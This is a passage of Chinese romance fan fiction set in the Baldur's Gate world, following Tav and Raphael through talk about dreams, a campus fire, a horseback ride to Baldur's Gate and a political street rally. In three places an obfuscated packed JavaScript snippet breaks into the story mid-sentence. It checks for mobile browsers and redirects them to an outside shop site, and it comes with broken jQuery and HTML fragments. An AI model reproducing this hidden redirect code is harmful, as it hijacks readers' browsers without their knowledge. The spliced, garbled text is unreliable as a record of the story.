然而,拉斐尔心里却如同被蚂蚁啃噬。 他其实已经问出口了,不是吗。 而且是用追问细节的方式。 塔夫又挣扎了一下,拉斐尔还是松开她。 . 塔夫定定看向拉斐尔,想要确认什么,他却又像是被烫到一样,移开视线。 她心里又好气又好笑,手攀上拉斐尔肩膀,踮起脚,最后却仍只在他脸侧亲了下。 “我是这样亲的!而且他才六岁!” 拉斐尔闹别扭居然是因为这个? 因为晚上的游戏?还是拉斐尔自己说的那句从未。 塔夫哭笑不得,也生气拉斐尔不信任自己,不肯直接说出他的担心。 她看到拉斐尔表情有些怔怔的,接着开始偷偷试图压下上扬的唇角,瞧上去真是万分可恶,但也有点可爱,而且她也能理解他问不出口的原因。 塔夫想安慰他一句,又忍不住带上调侃:“我还是很开心你终于告诉我了,虽然花了些功夫。这样一来,我们之间以后应该都能容下‘这种程度’的信任和坦诚了吧。” 拉斐尔一副有些无辜的样子:“我说的亲吻并不是指……这种程度。” “玩游戏的时候你又没有示范是哪种。”塔夫觉得这话有点像是邀请,但她现在并不想,又补充一句,“别忘了我可是还为此多喝过一口酒。” 拉斐尔沉默片刻:“所以,你没有……” “是的,真可惜,还没有。”塔夫无奈地瞪拉斐尔一眼。他垂下眼睛。她又有些好笑,继续道,“哪怕第一眼喜欢,我也得先了解一个人才能真的接受他,再和他进一步。也许我应该像其他人一样,更放松些。” “别人怎么做并不重要。”拉斐尔立刻说,重新看向她,“按你自己喜欢来就好。” “嗯。”塔夫笑着牵住他的手,“那我们回去吗?” “回派对?” “回宿舍。”塔夫顿了下,语气温柔些,“今晚很有趣,谢谢你邀请我。不过这样聊天似乎更容易些,用我们习惯的方式。”她又促狭起来,“你还有什么想要追问的游戏细节吗?” 拉斐尔没有任何犹豫:“阿斯代伦的从未,你梦到的是我吗?” 塔夫:“咳咳咳!”真是自作孽,不可活。 她反问回去:“你那个时候也喝了。你梦到的又是谁?” 拉斐尔大言不惭:“阿斯代伦。” 塔夫:“……”可恶! 她转移话题,提起还剩下两次游戏机会,可以留到以后。拉斐尔应了,又主动分享更多:“我小时候骑马曾摔下来过,左手小臂骨折。” “所以你始终穿着衬衫或长袖上衣?” “我恢复得很好,只留了一道很浅的疤,不仔细观察不会发现。所以,你梦到的是我吗?” 塔夫要求他挽起袖子看一看,并试图通过挑起物理争斗继续回避最开始的问题,这次却被拉斐尔无情点破,语气平板地念:“我们之间的信任和坦诚应该容得下这种程度的……” “好啦好啦,我梦到的是你。”塔夫被自己的话打了个措手不及,只得投降。 拉斐尔侧过脸瞧着她,这次不再掩饰笑意。 塔夫装作没看见他的好奇和期待,故意直接跳到下一个问题: “至于生病那次,我其实有些奇怪居然没有别人——小的时候装病,被发现了仍要母亲哄——那种嘛。你不会吗?” 她脸颊有些发烫,心里暗暗打算,如果拉斐尔追问的话,就说他亲她眼睛那次,害得她做噩梦了! 拉斐尔却摆出一副意会模样,没有追问,笑着回说:“我正相反,除非无法起床,否则都会装作没有生病。” “原来我才是少数吗?”塔夫真的好奇起来,“为什么?” “生病意味无法做很多事,也意味着……”拉斐尔顿了下,“不够健康。” “生病就是健康的反义词呀!”不过塔夫能猜到他省去的形容——大概是软弱一类的,接着解释起自己的想法,“对我来说,生病的时候意味着可以被照顾。我想要被母亲照顾,或者不如说我想要确信母亲会照顾我。不过……之后就没有了。” “所以你想成为医生?” “不是因为装病的经历,不过也算是有些关系吧。”塔夫抿抿嘴,没有继续说下去。这事情说不上愉快,她很少去想,也不想破坏气氛。 然而她还是受到些影响,而且偏偏是她自己提起的。 唉,她提起这个,是想要拉斐尔哄她吗? 吹来的夜风似乎都变得沉闷了些。 并不是似乎。 风里带着不自然的温度。 “那里怎么了?”塔夫指指左手边。拉斐尔刚皱起眉,她已经拽着他朝那个方向走,“不会是着火了吧?” “塔夫!” 拉斐尔表情严肃,塔夫无法拖动他,一下停住脚。 “如果真是火灾,你贸然去那里又能做什么。”他说着口吻更加严厉起来,“上次落水也是如此。你想要帮忙,却只让自己陷入危险。” 塔夫脸色一沉。她知道拉斐尔说得有道理,可是被指着鼻子责备还是令人不快,加上刚才“自找麻烦”的影响,她的语气也变得尖刻:“给你添麻烦了。” 拉斐尔口吻却放缓了些:“我……会担心你,如果我不在你身边会怎样。” 这倒让塔夫不好意思起来:“我会小心的!我只是去看看。谢谢……” “我们一起。”拉斐尔弯起唇角,又立刻板着脸强调,“保持距离。” “我也拉不动你呀。”塔夫笑着拽他,“我们快走吧。” . “喔。” 眼前如同一个巨大的篝火,红光照亮天空。 但当塔夫认出那是印刷社时,就无法再发出任何感慨了。每一次燃烧的嘶嘶声,都像是剧团海报和小册子在向她发出最后的告别。她下意识抓紧拉斐尔的手,立刻被用力回握住。 已经有几名校警在场,正在疏散或训责学生,看到二人立刻斥道:“别再靠近了!” 更远处的中尉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14272654|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭头听到又指挥说:“去路端放上警告!” “塔夫!这可真是太好了!!”喊话的那人大概是被校警瞪了一眼,又解释说, “见到你可太好了!!!” 塔夫循声望去,在几个哭丧着脸的学生中找到瘦长个的“木乃伊”泽希诺,她和校警说声什么后就跑了过来。 “诶,你们怎么在一起?”她瞧瞧塔夫,又看看拉斐尔,接着就被塔夫的一连串问题淹没。 毫不意外的,火灾由烧垃圾桶游戏导致。 “我朋友告诉过他们别这样!”泽希诺无奈,“乱丢烧着的纸飞机实在有点太过了。” 不过算是不幸中的万幸,泽希诺不是肇事者。正相反,她是路过来找朋友玩,并顺便及时把校警找来的人。 塔夫又望了眼似乎蹿得更高的火焰,没忍住:“及时?” “烧的不是建筑,而只是放在外面晾干的印刷品。”泽希诺摇摇头,“所以看着很夸张,其实没那么糟。” 像是反驳她的话,身后印刷社发出一声重物落地的巨响。 塔夫:“……” 泽希诺:“……” 拉斐尔:“……”他把塔夫往后拉远了好几步。 泽希诺:“啧。” 塔夫完全不赞同泽希诺“运气好”的评价,尽管如此,她也得承认自己来得凑巧。 火势很快被控制住,学生也被疏散或者被带回校警办公室。作为报警人以及想陪着惊魂不定的朋友,泽希诺也会一起去,便拜托塔夫明早转告菲拉:“我恐怕没办法去博德之门了。不过她知道我最想要找的几种装饰!” . 出现这种意外,塔夫却发现自己连一点慌乱都没有,这一定是因为拉斐尔一直陪在身边的缘故。 她简单和拉斐尔说明剧团和印刷的事,他再追问几个细节,就提议明天一起去博德之门。 菲拉和里萨会乘坐公共马车,出发很早。由拉斐尔向她们说明情况,塔夫则联系绘画部拿到纸质原稿,两人再骑马到博德之门与她们汇合,最后晚上一起做马车回来。而无论是灯光效果、演出服装还是印刷,拉斐尔都有可以帮助她们的人选。 有条不紊做好决定,塔夫还是叹出一口气,精神专注后的放松也带来疲累,却发现拉斐尔表情十分愉快,甚至带着满意的笑容。 “你还真的是喜欢不幸的故事?”塔夫忍不住问,“这次又有什么人会向你低头吗?” “没有。”拉斐尔伸手帮她理了下散落的几缕头发——她之前随手扎了个马尾,仍笑着,“只是发现这机会很难得,能被你所用。” “你的意思是,很高兴能帮上我的忙?” “嗯,差不多。” 这家伙,有的时候说话还是这么……古怪。 但他眼神里的情意却似乎更加直白了,塔夫心脏怦怦跳了起来,垂下眼睛。 接下来,无论是她道谢,还是一路上说着之前读完的《不幸》第二卷(塔夫惊讶发现自己居然还记得很清楚),直到最后回到她的宿舍塔楼前,拉斐尔眼睛里一直带着笑。 为着明天早上要早起,以及为自己的心脏健康着想,塔夫还是不舍地先说出了再见。 “晚安,塔夫。” 拉斐尔自然地俯身拥住她告别,直起身时却顿了下,唇在她脸颊上轻轻擦过。 与其实说是亲吻,更像是贴面礼。 “我始终没有告诉你,”他低声说,像是有些难为情,“你今天晚上美极了。明天见。” . 69.相似 “我从来没有过,一夜未睡。” 过了今晚,这大概不会再成立。 塔夫在镜子里瞧着自己,头发随意扎起又放下显得有些毛躁,虽然没有多靠近火灾现场但还是能看出点灰头土脸,裙子上还沾着一粒粒细小尘屑。 她脱下裙子在卫生间轻轻抖了抖。拉斐尔今晚最后那句似乎有些勉强,大概是礼貌地表示他看出来她换了条裙子。毕竟在派对上,好多女生亮眼得她都忍不住多瞧几次。不过她还是很高兴,应该也主动夸一下拉斐尔今晚看上去很帅才是。 她似乎从来没有告诉过他,她觉得他英俊极了。不过拉斐尔的反应估计会和影心差不多:“我知道。”或者,“这不是很显而易见吗。” 塔夫忍不住微笑,接下来洗澡时,也仍继续想着拉斐尔。 不仅仅是他可能在练习唱歌,还有他的肌肉轮廓线条,甚至左手手臂上她没有见过的浅浅疤痕。 而且她越不想去想,画面反而就越清晰! 如果这还不够糟糕,当她躺在床上时,塔夫又后知后觉地懊悔起来,为什么没有告诉拉斐尔自己做过什么梦。 阿斯代伦怎么形容的来着?不会主动说出来的梦…… 所以什么都不说才更惹人遐想!她应该对拉斐尔说她做了噩梦,比如梦到变成猫还乱挥爪子的他。她居然梦到他这么多次?还都记得?拉斐尔又梦到阿斯代伦什么? 塔夫怀疑拉斐尔也梦到过自己,但是不肯承认。 想到他跳舞时一直不肯问出的问题,她再次又好气又好笑起来。 这个傲慢狡猾的家伙竟意外的别扭?他一定很在意很好奇她的梦。不过,就让他猜她到底梦到他什么去吧。只要他不肯承认梦到过她,她是绝对不会告诉他的! …… 虽然止不住地东想西想还反复推翻决定,塔夫却出乎自己意料地很快睡着,并一点不意外地梦到了拉斐尔。 在梦里,她和拉斐尔练习了一晚上华尔兹。他承诺,如果能一起完整地跳一曲,他便脱上衣给她瞧。 可惜她没有成功。 …… 拉斐尔同塔夫告别后,知道自己心情激动,恐怕会同上次那样久久难以入睡,便干脆先去校警处跟进火灾后续,又绕路到马厩吩咐一番,最后才回赛艇俱乐部,告诉几位朋友他会提前离开派对。 阿斯代伦放下红酒杯,嘴唇颜色鲜艳如血,并一针见血地问:“塔夫人呢?” 拉斐尔牛头不对马嘴地回忆:“我曾梦到你在月光下赤裸着上身,向我展示你背后的……” 阿斯代伦差点捏碎杯子:“再见!” 拉斐尔愉快地离开。 . 同哈勒普继续安排好明天的几件事后,拉斐尔终于满意地躺在床上,很快进入梦乡,并如他所期待的那样,梦见了塔夫。 而她在……梦见他? 于是,拉斐尔在梦中盯着塔夫的睡颜一整晚,试图从她细微的表情变化和偶尔发出的含糊声中,分辨出她做梦的具体内容。 他没有成功,只好在塔夫醒来时也跟着一起醒来。 他现在更想知道了。 …… 塔夫小心收好原稿,赶到马厩。拉斐尔已经在那里。这是她第一次见他穿马裤和马靴,原来他的腿也这样好看,笔直修长又充满力量,忍不住多欣赏一眼,这才道: “昨天忘记告诉你,我需要租马具。” 而拉斐尔居然帮她准备了一整套。除了头盔、马靴,还有上衣和裤子,和他穿的一样,紧身耐磨适合骑马的布料,臀部膝盖和大腿内侧加厚。上下装各有深浅两色,号码也都合适。 塔夫有些脸红:“你怎么知道我的尺码?” 拉斐尔镇定回:“泽希诺知道。” 塔夫没再多问,换好和拉斐尔颜色正相反的上深下浅的马术服,等再次回到马厩旁时,一匹马已经被牵出了出来,拉斐尔正在检查鞍具。 那是一头漂亮矫健的动物,少见的沙色。灰色毛皮泛着光,夹杂白色毛发,深黑色的鬃毛和尾毛浓密,后臀如同覆盖一条撒有豹斑的乳白色毯子,眼睛和口鼻周围也有明显的黑色圆斑。 “阿帕卢萨马。”塔夫忍不住伸手抚摸它的鼻梁和下颌,它舒服地晃了晃脑袋。 连性格也很好,塔夫更加爱不释手:“你可真漂亮!”没有注意到拉斐尔同样赞叹的视线。 “很适合你。”他低声说。塔夫没有听清,他已经递给她一个小袋子,“它爱吃的零食。可以拉近距离。”又重新俯身,继续检查鞍具,“你对马很了解?” “是我姐姐卡菈克。”塔夫打开袋子从里面摸出一颗白色正方块,“她知道很多,还曾为贵族养过马,最喜欢的就是阿帕卢萨马。这是我今天骑的吗?” “如果你喜欢的话。” “当然!” 拉斐尔确认肚带勒紧,向塔夫点点头让出位置:“你习惯从哪边上?” 塔夫正闻过手里的方块,又舔了舔:“是薄荷味的方糖。” 拉斐尔一脸震惊地瞧着她,连眼睛都睁大了些。 “我可没有想要抢它的零食,只是尝尝而已。”塔夫自然地把自己舔过的方糖喂给马,拉斐尔看上去更震惊了。 如果他知道自己和姐姐曾和老马抢着吃同一颗格外脆甜的苹果,又该会有多震惊。塔夫笑了下,又连忙轻咳一声:“两边都可以。我不需要马凳。” 她接过缰绳拉紧让马知晓,踩入马镫,抓住马鞍,吸了口气,点地撑起身子,摆腿上马慢慢坐入马鞍中。 马始终乖乖地嚼着糖,一动不动。 塔夫赞许地在它脖子上摸摸,低头看向拉斐尔,难掩兴奋:“它太可爱了!” 拉斐尔仰头望着她,过了会才说:“我来调整马镫。” 他在她身旁认真调整长度,垂下的眼睫像两把小扇子。塔夫几乎想用膝盖顶顶他胸口,看他会不会露出同样惊讶的表情。不过这似乎太过亲昵,而身下的马尽管性子温和,也毕竟并不熟悉。 “好了。”拉斐尔终于直起身,在马臀上拍了拍。 塔夫也能够收起绮念。 接着,虽然她表示自己一个人也没关系,却还是在拉斐尔的坚持下下马,重新系好缰绳等他。 拉斐尔很快又牵出第二匹。 这次是匹汉诺威马,同样名贵。听卡菈克说,最好的品种甚至可以达到数百万金币。拉斐尔手中这匹高大雄伟,带着标志性的沉着而又自信的神态。身体是偏棕褐的骝色,油亮光泽,没有一根杂毛,鼻梁和宽大的马蹄则是规整的白色。 胸线清晰,腰背强壮,腿长而优雅,肌肉结实流畅,走起路来步伐带着弹性。它那双漂亮的眼睛是温润的棕色,当长长的睫毛眨了下时,塔夫发现自己竟莫名脸红起来,不由得有些怔愣。 拉斐尔看着塔夫发怔的样子笑了:“更想骑这一匹?” 塔夫几乎在下一时刻紧接着开口:“它和你可真像。” “……?” “!!!” “我的意思是,感觉你们特别般配。”塔夫差点咬到舌头,“我是说,它看上去非常适合你。因为它更高大,而且和你一样帅!” 她把夸赞说出口了!塔夫期待地看向拉斐尔,他理解地点点头:“你还是更想骑刚才那匹?” 夸赞被完全无视了! 然而塔夫看着拉斐尔慢慢染红的耳尖,心里偷偷笑了起来,没有再夸他一遍,也忍住了扑上去拥抱他的冲动。至于她后来得知这两匹其实都是骟马,则是另一个故事了。[1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286093|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ] . 离开学校,虽然二人都骑术娴熟,但为了让塔夫和马熟悉彼此,马儿步速相当悠闲,她也可以一路与拉斐尔聊天。说着说着,又说起做梦的事情。 话是塔夫提的,非常直接:“你梦到过我吗?” 拉斐尔沉默片刻,回答的简略版大约是: “我们曾在彼此的意识中短暂停留——你梦见过我,而我昨天在梦中梦见你在梦见我。 “但是,我始终没能弄清你梦中的我的模样。 “虽然那并不是现实中的我,而只是一个影子。可是正如洞穴之喻,通过这个影子,我们能够窥见更多更本质的真相,除了你对我的看法,也许还可以了解我们之间的关系。” 塔夫被绕了半天,最后差点失笑。 一方面拉斐尔很坦白,直接告诉自己他的确梦到过她。 可是到了他想要知道的事情,却又变得这么迂回! 直说他也好奇她的梦就好啦。 于是,她用同样复杂的句式回答道:“好巧,我昨晚也梦到你了!” 拉斐尔转头瞧着她,明显在期待下文。 然而,塔夫却不继续说自己具体梦见什么,反而把问题抛还给拉斐尔,“那你梦见的我又说明了什么?” 话问出口,她自己也有点感兴趣起来,如果拉斐尔说的梦是真的——他擅长误导但似乎不会直接说谎,那这一层层套娃似的梦,是不是也能说明拉斐尔是如何看待她、以及二人的关系。 拉斐尔顿了下,这次的回答很简单:“我们的关系存在不确定性和复杂性。”接着,他立刻把问题拽回她的梦上。 “先别急。”塔夫真的好奇起来。 她觉得两人之间关系还挺简单直接的,原来在拉斐尔眼中其实是很复杂的吗? “你的梦很有意思,我们可以好好分析一下!” 拉斐尔拿出怀表严肃道:“我们可以开始加速赶路了。” 塔夫忍不住笑着瞥了眼拉斐尔。 这还是她第一次看到他这么直接地回避话题。然而拉斐尔的表情平静得几乎无懈可击,态度也淡淡得甚至带上些高傲,倒像是二人初见时的样子。 塔夫惊讶片刻,又立刻微笑应道:“好。”话音未落就夹了下马腹。 虽然是拉斐尔提出可以通过梦境分析内心的想法,但那更像是他说服(或绕晕)她的方法。既然他不愿被公开直白地分析,她当然不会这样做。 尽管如此,塔夫还是忍不住在心里偷偷思索起来。 . 拉斐尔看着塔夫的背影跃过自己身前数十步,这才如梦初醒一般,驱马跟上。 当塔夫问出那问题时,他便有了数个模糊的推测。 他知道塔夫梦到的是自己,却无法得知具体内容。是因为他害怕那与自己的期望不同吗?或者他终于尊重塔夫有她自己的情感和想法? 而更为直接的理解,他想要知道塔夫对自己的看法,不仅仅是现实中的,而且是潜意识里的。 他想要通过塔夫的眼睛审视自己,想要得到她的认可。 最后,还是又回到他始终隐隐感受到的不安。 这就是喜欢一个人无法逃开的、如同疾病一般的感受? 拉斐尔已经快追到塔夫身旁,却还是慢了下来,跟在她身后。 . 塔夫的猜测和拉斐尔相差不远。 她有些惊讶,同时也感动于他的心情。那不安的最主要原因当然是二人的关系仍没有确定,可是她是不是也应该给他更多直接的肯定和反馈。 她听到另一匹马的蹄声,不远不近地跟在自己身后,扭头说: “我们比赛谁先到!如果你赢了,我就告诉你我梦到你什么!” . 70.中立 拉斐尔赢得了比赛的胜利。 而且过于轻松。 二人在博德之门城外的马厩下马时,塔夫差点恼羞成怒。 连着骑了近三个小时,哪怕穿着有特别防护的裤子,她大腿内侧和臀后还是磨得有些发烫,更可以想到明天会感受到的腰酸背痛。而拉斐尔看上去很是轻松,还一脸得意又期待地瞧着她。如果不是她一直皱着眉,他简直会立刻要求她兑现诺言,告诉自己她到底梦到他什么。 她可是从小骑马长大! 于是,塔夫很有尊严地拒绝了拉斐尔的搀扶,并且没有看到他有些失落的样子。 . 进入博德之门时已近中午,不过离与菲拉和里萨约好的见面时间还有一个多小时,地点则在临港的脸红美人鱼酒馆。 去那里需要经过下城区的报社,拉斐尔将原稿交给一位编辑,对方承诺明天就会寄出复印件。 最重要的事情便如此容易地解决。 不过塔夫并不意外,离开时又顺手从报童手里买了份新鲜出炉的周报。 ——因为头版就是刚结束的赛艇决赛。 虽然赛艇队员都只有小指指甲一般大小,塔夫还是忍不住仔细去分辨拉斐尔五官:“可以看出来的!哈尔辛往前数的第二个是你!” 拉斐尔指指自己的脸:“看这里更容易。” 塔夫笑着瞥他一眼,继续翻开下一页,想看看有没有特写或采访。但之后四个版面却都是关于博得安大学的校友日,其中更有整整两版用来猜测谁会出现在最后一天的慈善舞会上,另附有画像和介绍。 她看到一个和拉斐尔很像的侧影。事实上,那人在山根处微微隆起的鼻梁和拉斐尔简直一模一样。塔夫便指给他瞧。 拉斐尔表情绷紧一瞬,又立刻微笑说:“我知道他。” 塔夫这才看到对方画像下的介绍“梅菲斯特·卡尼亚大公”,不由得有些吃惊,拉斐尔已经继续道:“那是我父亲。” 他的语气仿佛在说今天的天气不错。塔夫好奇,想要更仔细地去读,但拉斐尔就在身旁,她莫名难为情起来,目光在报纸和拉斐尔之间打了个转,终于还是收起报纸。 拉斐尔显然注意到她的犹豫和不自在,唇角却越翘越高:“没关系。”他干脆笑着打趣说,“对于他是否会来,我恐怕也得靠报纸推测。” 塔夫忍不住也笑了:“那你希望他来吗?” “我的期望并不会影响他的决定。”拉斐尔顿了下,“我和他关系不算十分亲密,但责任比感情更可靠,其实这样我反而更轻松。” 塔夫犹豫片刻。虽然拉斐尔语气平常,但他的目光却避开她望向报纸。 他并不希望继续这对话。 塔夫最后只是手握得紧了些:“我……会留着这份报纸,如果你需要的话,可以告诉我。” 拉斐尔却直接抽出她手中报纸,在她头上轻轻敲了下:“你探听这么多我的事,该轮到你自己了。比如你梦里的那位主人公。” 塔夫脸颊涨红,很想就“探听”解释几句,比如这份报纸就完全不是计划内。但她望着拉斐尔的表情,还是直接回答说:“我梦到过你变成猫,还有眼睛什么的。” 她唾弃一下自己避重就轻,不等拉斐尔细问,又一咬牙: “昨天晚上我梦见你训练我跳舞,奖励是脱掉上衣让我瞧,可惜我没有完成你的要求。”糟了!她怎么一不小心就把“可惜”说出来了! 拉斐尔怔愣片刻,居然就在人来人往的街道上放声大笑:“哈!哈哈!” 塔夫连忙抢回报纸挡住自己的脸。 好丢人啊! 也好奇怪啊? 听到这种话,拉斐尔怎么反而不脸红了?! 等拉斐尔总算笑够了,塔夫也已经不再难为情,几乎有些恼火: “是啦是啦,和你一层叠一层、复杂隐秘又细腻的梦不一样,我的梦就是这么粗暴直接!所以你在梦里才没办法知道我在做什么梦!因为你根本想不到吧!” 拉斐尔居然又笑起来。 塔夫气急败坏地把报纸卷成筒,在他身上敲敲打打:“笑!你竟然还笑!” 拉斐尔也不闪躲,直接将她抱个满怀:“塔夫,我很开心。” “我睁着眼睛呢!能看出来!但我一点也不开心!” “哈哈哈!” “……” 这人真的还是拉斐尔吗!?不会是哈勒普变得吧!? …… 感谢女神,拉斐尔终于又变回原来的样子。可是塔夫每次试图问起哪里那.么.好笑,或者为什么他刚才会那.么.开心,拉斐尔都再次有大笑不止的迹象。 塔夫只得把这笔暗戳戳地记下,准备以后好好跟他算一账。 她昨天下午可是直接把梦付诸实践,拉斐尔的反应是忸怩不肯。现在知道她梦里也想这么做却仍是没有成功,他一定很得意吧! 而她明明已经决定暂先放过他,结果拉斐尔想到什么,居然自己又笑起来!? 塔夫气得也忍不住重新弯起唇。 真是个幼稚鬼! . 接下来,两人在博德之门朝海港方向慢悠悠地闲逛。 塔夫读到过不少这座城市的传闻,拉斐尔虽然只每年冬天的社交季在这里住上一两个月,但对各种辛秘了如指掌,而且不仅仅是上城区的。 一路上,二人话题从博德之门的别称“灰港”、“血城”的考据,到外城区五个小帮派和盗贼公会明争暗斗的野史,当然还有精英冒险家协会以及各种有趣悬赏。 塔夫和拉斐尔边说边笑,有的时候也免不了争论,尤其在经过石蜥蜴之门后。 那里,一群人举着巨大横幅,义愤填膺地宣传着,并向经过的市民或游人派发社论小册子。 “削减焰拳经费!” 焰拳是费伦最强大的的雇佣兵组织,同时也是博德之门的警察力量。焰拳现在的最高长官和实际控制人是威尔的父亲——雷文伽德公爵。而石蜥蜴之门的这群人看上去对焰拳有很多不满: “有超过三分之一的市政预算都被用于维持焰拳运转!” “焰拳区别对待提夫林社区!” “反对警察暴力!” “近百分之六十的警力被用来维护本就安全的上城区!” “焰拳中少数种族比例过低!” “反对执法不公!” 二人穿过集会所在广场,塔夫手里又多了几张传单。她问起拉斐尔的想法,他的回答是:这群人很有鼓动性。 “?”塔夫眯了下眼睛,“你的意思是,你反对缩减焰拳经费?” “鼓动,不是煽动。”拉斐尔强调,“鼓动是中立的。” “你的态度似乎不是。所以,‘你’怎么看?” 拉斐尔有些无奈地笑笑:“我对这件事没有看法。” “怎么可能!” “或者说,作为卡尼亚家族的成员,我在政治事件上保持中立。” “哪怕私下说也不行?”塔夫诧异地看着拉斐尔,见他并不是在开玩笑的样子,慢慢点了下头,“我知道了。” “我可以听听你的想法。”拉斐尔微笑捏捏她的手,“无论你支持或反对,我都可以为你从另一方提出论证。” “你干嘛非要辩驳我?”塔夫立刻自问自答,“知道多方观点,才能保持中立。”她又摇摇头,“但我也许不想保持中立。” “那更可以了解对方是怎么考虑的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14295030|146484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这让塔夫一下起了反叛心理。 她向来是支持社区自治,不信任权威组织,然而此时她却想要站在反方,听听拉斐尔会如何“同意”自己。 结果她想了半天,却全都是批判,不由得有些气馁——她一向认为自己思想很开放,其实却是有认知定式甚至偏见?她又立刻安慰自己,那是因为对于这件事,她的立场才是正确的。[1] 拉斐尔便站在她的对立面,一条条陈述对方可能立场。[2] 两人你来我往,拉斐尔又提到威尔父亲:“雷文伽德公爵近期进行了一些改革,也取得了预期中的效果。” “既然如此,这些人又为什么要集会反对?” “当越来越多的人同意维持或增加焰拳的力量,持削减经费立场的人自然感到不安,需要更大声地强调自己的主张。” 塔夫没有被说服,而且她更好奇的是拉斐尔怎么看待,以及为什么那样看待这件事,可惜他坚定自己的中立——在塔夫看来,也能被称为疏离的旁观者立场。 她很想讥讽几句旁观者心态的危害可不一定比极端狂热更小,最后还是吞了回去,只赞同这是一个复杂的问题,涉及到更多博弈。拉斐尔也总结说:“两方的最终目的其实相同:减少暴力犯罪,增加社区安全。倾向于使用的方法不同罢了。” “我可没办法同意!”塔夫立刻重新反对起来, “焰拳作为已经拥有权利和力量的一方,自然更倾向于维持现状。哪怕其他方法更好更有效,他们也不会那么轻易地改变,特别是当那意味着要他们放弃已有的利益!” “这似乎是另一个问题了。”拉斐尔笑着指指码头一家摊位,“要喝点什么吗?” 塔夫也的确讲得有些口干舌燥:“不过马上要吃午饭了。” 正巧看到菲拉和里萨也在码头上散步,她和拉斐尔没再继续讨论,四人一起去脸红美人鱼酒馆。 . 正直夏日,又是周末,不少人从中午就开始喝一杯,餐厅格外热闹。 拉斐尔不知什么时候预定了四人的桌子,是能看到港口景色的屋顶露台位置。 里萨一向喜欢高处:“我在这里能坐一下午!” 菲拉吹着海风,似乎有了灵感,轻声哼起来。 塔夫很有经验地从菜单中找到特色生蚝拼盘,这个时段还有额外优惠。 喝着柠檬水,她们又很快说起各自的进展。 没想到不过一个上午,剧团的事情便都完成了。 “拉斐尔推荐的两处,老板都很热情公道。”里萨表示感激。 菲拉附和后又道:“机会难得。我们还是坐晚上的马车回去,下午可以一起在博德之门转转!”当拉斐尔介绍起博德之门几个地标:魔法杂货铺、精灵之歌旅店等时,她又朝塔夫使起眼色:请让我和里萨单独行动! 里萨很有她性格的给自己最想去的地方排了个序,又询问几人的排序以便综合考虑,塔夫在菲拉的殷切目光中清了清嗓子:“拉斐尔和我已经……有安排了。” 拉斐尔诧异看向塔夫,她连忙一把扣住他的手,牢牢压在他腿上:别说话! 里萨点点头:“那我们可以先一起去你们想去的地方?或者看看我们在什么地方行程可以有交集?难得一起出来玩。” 塔夫连忙看向菲拉,菲拉又和里萨咬起耳朵。里萨恍然,看看塔夫又看看拉斐尔: “嗯?唔。哦!我们晚上再见!” . 同二人告别,塔夫又好气又好笑,瞥一眼拉斐尔:“你刚才忽然那么诧异,害得我和菲拉差点露馅。” 拉斐尔没说话,塔夫后知后觉反应过来:“你真的有安排了?难怪你介绍得那.么.熟练!” . 71.换装 眼见被塔夫说中,拉斐尔便把计划全盘托出。 他刚才居然藏下几个活动没有分享,比如他知道塔夫会格外感兴趣的音乐剧《猫》: “剧团很快会去深水城巡演,这是今年最后两周在博德之门。” 塔夫意有所指:“菲拉和里萨也一定会感兴趣。” 拉斐尔毫无愧色:“那可真遗憾。” “而且演出不是都在晚上吗。” “周末有午后场的演出。” 也不知他昨天晚上计划到几点才睡,塔夫边走边听拉斐尔介绍:演出三点开始,两个半小时。菲拉预定的轻便马车是六点半启程,晚餐需得选择简餐,也许在马车上吃,不过他当然也有推荐。 塔夫立刻作出决定,既兴奋又紧张:“去看演出!不过我们需要穿更正式点的衣服吗?” 拉斐尔一怔,接着笃定道:“别担心,演出开始前我们有足够时间换衣服。”他顿了下,语气变得格外磁性而富有安抚的力量,“我知道一处地方,提供试穿。” 塔夫:总觉得哪里有点奇怪? 但此时拉斐尔脚步忽然停下,塔夫抬起头,面前便是票务处。 船票的。 “?” 她心里迅速转过几个猜测,有欢喜,却也有些不快。 不过拉斐尔接下来的话以及诚恳态度很快打消了她的那点不快。 ——他并不是准备给自己买张船票和她一起回农场,而只是希望她能够迟些走,所以来看看有没有新增的合适航次。 “好主意!”塔夫立刻应道。 她其实也有这个念头,而且不仅仅是因为拉斐尔。 现在的行程有些太紧张。演出在返校日第二天晚上,而第三天一早她就必须赶马车来博德之门,剧团收尾工作势必要全部交给菲拉几人。虽然她们并不介意,她还是有些不好意思。 . 塔夫同船务说明来意,询问是否有更多船票。对方摇摇头,还有另外一个坏消息: 她之前定的那班船,会延迟到晚上才出发。 “纸质通知已经寄出,邮寄地址和你的收票地址相同。”船务耸耸肩,解释时态度几乎有些敷衍,“大概还在路上。” 